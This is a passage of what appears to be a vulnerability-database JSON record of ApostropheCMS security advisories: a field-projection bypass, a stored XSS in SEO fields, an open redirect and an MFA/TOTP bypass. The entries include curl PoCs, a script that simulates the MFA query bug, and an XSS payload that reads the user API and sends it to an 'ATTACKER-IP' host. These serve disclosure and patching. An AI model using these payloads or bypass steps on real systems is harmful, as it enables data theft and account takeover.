their corresponding builder methods. The `project` builder exists in `@apostrophecms/doc-type` with a `launder` method (`doc-type/index.js:1876`) that sanitizes values to booleans:\n\n```javascript\n// doc-type/index.js:1875-1889\nproject: {\n launder (p) {\n if (!p || typeof p !== 'object' || Array.isArray(p)) {\n return {};\n }\n const projection = Object.entries(p).reduce((acc, [ key, val ]) => {\n return {\n ...acc,\n [key]: self.apos.launder.boolean(val)\n };\n }, {});\n return projection;\n },\n```\n\nWhen a request includes `?project[someField]=1`, the builder sets `query.state.project` to `{someField: true}`. At **[2]**, the conditional `!query.state.project` evaluates to `false` because the state is already populated, so the `publicApiProjection` is never applied.\n\nFor comparison, the `@apostrophecms/page` module's equivalent method (`page/index.js:2953`) unconditionally applies the projection:\n\n```javascript\n// page/index.js:2953-2958\n} else {\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n}\n```\n\n## PoC\n\n**Prerequisites:** An ApostropheCMS 4.x instance with a piece-type (e.g., `article`) that has `publicApiProjection` configured to restrict fields. For example:\n\n```javascript\n// modules/article/index.js\nmodule.exports = {\n extend: '@apostrophecms/piece-type',\n options: {\n publicApiProjection: {\n title: 1,\n _url: 1\n }\n }\n};\n```\n\n**Step 1:** Normal request — observe restricted fields are hidden:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article'\n```\n\nResponse returns only `title` and `_url` fields per the configured projection.\n\n**Step 2:** Bypass projection by supplying `project` query parameter:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[internalNotes]=1&project[title]=1&project[slug]=1&project[createdAt]=1'\n```\n\nResponse now includes `internalNotes`, `slug`, `createdAt`, and any other requested fields — bypassing the admin-configured `publicApiProjection` restriction.\n\n**Step 3:** Request all default fields by projecting inclusion of sensitive fields:\n\n```bash\ncurl 'http://localhost:3000/api/v1/article?project[_id]=1&project[title]=1&project[slug]=1&project[visibility]=1&project[type]=1&project[createdAt]=1&project[updatedAt]=1'\n```\n\nAll requested fields are returned, confirming the `publicApiProjection` is fully bypassed.\n\n## Impact\n\n- **Information Disclosure:** An unauthenticated attacker can read any field on documents that are already publicly queryable, bypassing administrator-configured field restrictions. This may expose internal notes, draft content, metadata, or other sensitive fields the administrator intentionally hid from the public API.\n- **Scope:** Affects all piece-type modules with `publicApiProjection` configured. The attacker cannot access documents they wouldn't otherwise be able to query (document-level permissions still apply), but they can read any field on accessible documents.\n- **Exploitability:** Trivial — requires only appending query parameters to a public URL. No authentication, special tools, or chaining required.\n\n## Recommended Fix\n\nRemove the conditional check on `query.state.project` in `piece-type/index.js`, matching the page module's unconditional behavior. The admin-configured `publicApiProjection` should always override any user-supplied projection for unauthenticated users:\n\n```javascript\n// modules/@apostrophecms/piece-type/index.js:1123-1134\n// BEFORE (vulnerable):\nif (!omitPermissionCheck && !self.canAccessApi(req)) {\n if (!self.options.publicApiProjection) {\n query.and({\n _id: null\n });\n } else if (!query.state.project) {\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n }\n}\n\n// AFTER (fixed):\nif (!omitPermissionCheck && !self.canAccessApi(req)) {\n if (!self.options.publicApiProjection) {\n query.and({\n _id: null\n });\n } else {\n query.project({\n ...self.options.publicApiProjection,\n cacheInvalidatedAt: 1\n });\n }\n}\n```", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33888", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0011", "scoring_system": "epss", "scoring_elements": "0.29056", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33888" }, { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-15T20:03:13Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/00d472804bb622df36a761b6f2cf2b33b2d4ce80" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-15T20:03:13Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/6c2b548dec2e3f7a82e8e16736603f4cd17525aa" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-15T20:03:13Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-xhq9-58fw-859p" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33888", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33888" }, { "reference_url": "https://github.com/advisories/GHSA-xhq9-58fw-859p", "reference_id": "GHSA-xhq9-58fw-859p", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-xhq9-58fw-859p" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110566?format=api", "purl": "pkg:npm/apostrophe@4.29.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0" } ], "aliases": [ "CVE-2026-33888", "GHSA-xhq9-58fw-859p" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ewtn-suju-dyeb" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89677?format=api", "vulnerability_id": "VCID-h7q4-v6us-9ye4", "summary": "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS\n## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `<title>`\n- `<meta>` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"></title><script>alert(1)</script>\n```\nThis confirms:\n - Improper output encoding\n - Ability to escape `<title> / <meta>` contexts\n - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user', {\n credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3. Create or edit a page\n4. Navigate to SEO settings\n5. Insert the payload into the SEO Title field and Meta Description\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user',{\n credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n6. Set **Schema Type** to \"Web page\"\n7. Save and publish the page\n8. Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin’s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n - usernames\n - email addresses\n - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n - Execute arbitrary JavaScript in an authenticated admin context\n - Perform authenticated API requests (session riding)\n - Access sensitive application data via internal APIs\n - Exfiltrate sensitive data to an external attacker-controlled server\n \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569", "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35569", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00037", "scoring_system": "epss", "scoring_elements": "0.11483", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-35569" }, { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T14:14:28Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T14:14:28Z/" } ], "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292" }, { "reference_url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-16T14:14:28Z/" } ], "url": "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35569" }, { "reference_url": "https://github.com/advisories/GHSA-855c-r2vq-c292", "reference_id": "GHSA-855c-r2vq-c292", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-855c-r2vq-c292" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/110566?format=api", "purl": "pkg:npm/apostrophe@4.29.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@4.29.0" } ], "aliases": [ "CVE-2026-35569", "GHSA-855c-r2vq-c292" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-h7q4-v6us-9ye4" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/53454?format=api", "vulnerability_id": "VCID-pvxq-3qsf-efc5", "summary": "Open Redirect in apostrophe\nVersions of `apostrophe` prior to 2.92.0 are vulnerable to Open Redirect. The package redirected requests to third-party websites if escaped URLs followed by a trailing `/` were appended at the end.\n\n\n\n## Recommendation\n\nUpdate to version 2.92.0 or later.", "references": [ { "reference_url": "https://github.com/apostrophecms/apostrophe", "reference_id": "", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe" }, { "reference_url": "https://github.com/apostrophecms/apostrophe/commit/1eba144bb82bd43dab72ce36cfbd593361b6d9b7", "reference_id": "", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/apostrophecms/apostrophe/commit/1eba144bb82bd43dab72ce36cfbd593361b6d9b7" }, { "reference_url": "https://snyk.io/vuln/SNYK-JS-APOSTROPHE-451089", "reference_id": "", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://snyk.io/vuln/SNYK-JS-APOSTROPHE-451089" }, { "reference_url": "https://www.npmjs.com/advisories/1029", "reference_id": "", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://www.npmjs.com/advisories/1029" }, { "reference_url": "https://github.com/advisories/GHSA-h97g-4mx7-5p2p", "reference_id": "GHSA-h97g-4mx7-5p2p", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-h97g-4mx7-5p2p" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/78512?format=api", "purl": "pkg:npm/apostrophe@2.92.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-4twt-e5vw-m3em" }, { "vulnerability": "VCID-5tyh-bvgy-nuhe" }, { "vulnerability": "VCID-5v79-remg-7ub4" }, { "vulnerability": "VCID-82j4-a56g-3kbq" }, { "vulnerability": "VCID-a7rh-r1sn-2udh" }, { "vulnerability": "VCID-dsd6-hfud-ekfs" }, { "vulnerability": "VCID-ewtn-suju-dyeb" }, { "vulnerability": "VCID-h7q4-v6us-9ye4" }, { "vulnerability": "VCID-tm23-2xhx-87hc" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/apostrophe@2.92.0" } ], "aliases": [ "GHSA-h97g-4mx7-5p2p", "GMS-2020-704" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-pvxq-3qsf-efc5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/91708?format=api", "vulnerability_id": "VCID-tm23-2xhx-87hc", "summary": "ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n const bearer = await self.apos.login.bearerTokens.findOne({\n _id: req.token,\n expires: { $gte: new Date() },\n // requirementsToVerify array should be empty or inexistant\n // for the token to be usable to log in.\n $or: [\n { requirementsToVerify: { $exists: false } },\n { requirementsToVerify: { $ne: [] } } // BUG\n ]\n });\n return bearer && bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array — meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim's TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n ```\n POST /api/v1/@apostrophecms/login/login\n Content-Type: application/json\n\n {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n ```json\n {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n ```\n GET /api/v1/@apostrophecms/page\n Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` — demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n * \"requirementsToVerify array should be empty or inexistant\n * for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements — the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user's password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = '\\x1b[91m';\nconst GREEN = '\\x1b[92m';\nconst YELLOW = '\\x1b[93m';\nconst CYAN = '\\x1b[96m';\nconst RESET = '\\x1b[0m';\nconst BOLD = '\\x1b[1m';\n\n// Simulate MongoDB's $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n // MongoDB $ne: true if field value is NOT equal to compareValue\n // For arrays, MongoDB compares by value\n if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {\n if (fieldValue.length !== compareValue.length) return true;\n return fieldValue.some((v, i) => v !== compareValue[i]);\n }\n return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB's $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n const exists = field in doc;\n return exists === shouldExist;\n}\n\n// Simulate MongoDB's $size operator\nfunction mongoSize(fieldValue, size) {\n if (!Array.isArray(fieldValue)) return false;\n return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n // $or: [\n // { requirementsToVerify: { $exists: false } },\n // { requirementsToVerify: { $ne: [] } } <-- BUG\n // ]\n const cond1 = mongoExists(token, 'requirementsToVerify', false);\n const cond2 = ('requirementsToVerify' in token)\n ? mongoNe(token.requirementsToVerify, [])\n : false;\n return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n // $or: [\n // { requirementsToVerify: { $exists: false } },\n // { requirementsToVerify: { $size: 0 } } <-- FIX\n // ]\n const cond1 = mongoExists(token, 'requirementsToVerify', false);\n const cond2 = ('requirementsToVerify' in token)\n ? mongoSize(token.requirementsToVerify, 0)\n : false;\n return cond1 || cond2;\n}\n\nfunction banner() {\n console.log(`${CYAN}${BOLD}\n╔══════════════════════════════════════════════════════════════════╗\n║ ApostropheCMS MFA/TOTP Bypass PoC ║\n║ Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq) ║\n║ @apostrophecms/express/index.js:386-389 ║\n╚══════════════════════════════════════════════════════════════════╝${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n const vulnResult = vulnerableQuery(token);\n const fixedResult = fixedQuery(token);\n\n const vulnCorrect = vulnResult === expectedVuln;\n const fixedCorrect = fixedResult === expectedFixed;\n\n console.log(`${BOLD}${name}${RESET}`);\n console.log(` Token: ${JSON.stringify(token)}`);\n console.log(` Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n console.log(` Fixed query matches: ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n\n if (vulnResult && !fixedResult) {\n console.log(` ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n }\n console.log();\n return vulnResult && !fixedResult;\n}\n\n// ——— Main ———\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',\n { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },\n true, // vulnerable: accepted (correct)\n true // fixed: accepted (correct)\n);\n\n// 2. Incomplete token — password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',\n { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },\n true, // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])\n false // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push('TOTP bypass');\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n '[Token 3] All requirements verified (empty array) — should be ACCEPTED',\n { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n true // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',\n { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },\n true, // vulnerable: accepted (correct)\n true // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n '[Token 5] Multiple unverified requirements — should be REJECTED',\n { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },\n true, // vulnerable: ACCEPTED (BUG!)\n false // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push('Multi-requirement bypass');\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(` ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(` - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(` - Attacker knows victim's username and password`);\nconsole.log(` - Attacker does NOT know victim's TOTP code\\n`);\n\nconsole.log(` ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(` POST /api/v1/@apostrophecms/login/login`);\nconsole.log(` {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(` ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(` Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(` (TOTP verification still required)\\n`);\n\nconsole.log(` ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(` GET /api/v1/@apostrophecms/page`);\nconsole.log(` Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(` ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(` MongoDB query: {`);\nconsole.log(` _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(` expires: { $gte: new Date() },`);\nconsole.log(` $or: [`);\nconsole.log(` { requirementsToVerify: { $exists: false } },`);\nconsole.log(` { requirementsToVerify: { ${RED}$ne: []${RESET} } } // BUG!`);\nconsole.log(` ]`);\nconsole.log(` }`);\nconsole.log(` The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(` $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(` ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(` req.user is set, req.csrfExempt = true`);\nconsole.log(` Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${'='.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${'='.repeat(64)}${RESET}`);\nconsole.log(` ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\\n`);\nconsole.log(` ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(` The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(` The comment says the array should be \"empty or inexistant\",`);\nconsole.log(` but $ne: [] matches exactly the opposite — non-empty arrays.\\n`);\nconsole.log(` ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(` $or: [`);\nconsole.log(` { requirementsToVerify: { $exists: false } },`);\nconsole.log(` { requirementsToVerify: { $ne: [] } } // BUG`);\nconsole.log(` ]\\n`);\nconsole.log(` ${YELLOW}Fixed code:${RESET}`);\nconsole.log(` $or: [`);\nconsole.log(` { requirementsToVerify: { $exists: false } },`);\nconsole.log(` { requirementsToVerify: { $size: 0 } } // FIX`);\nconsole.log(` ]\\n`);\nconsole.log(` ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);\nconsole.log(` password can skip TOTP verification and gain full authenticated`);\nconsole.log(` API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(` ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(` issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(` before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(` by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(` the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in 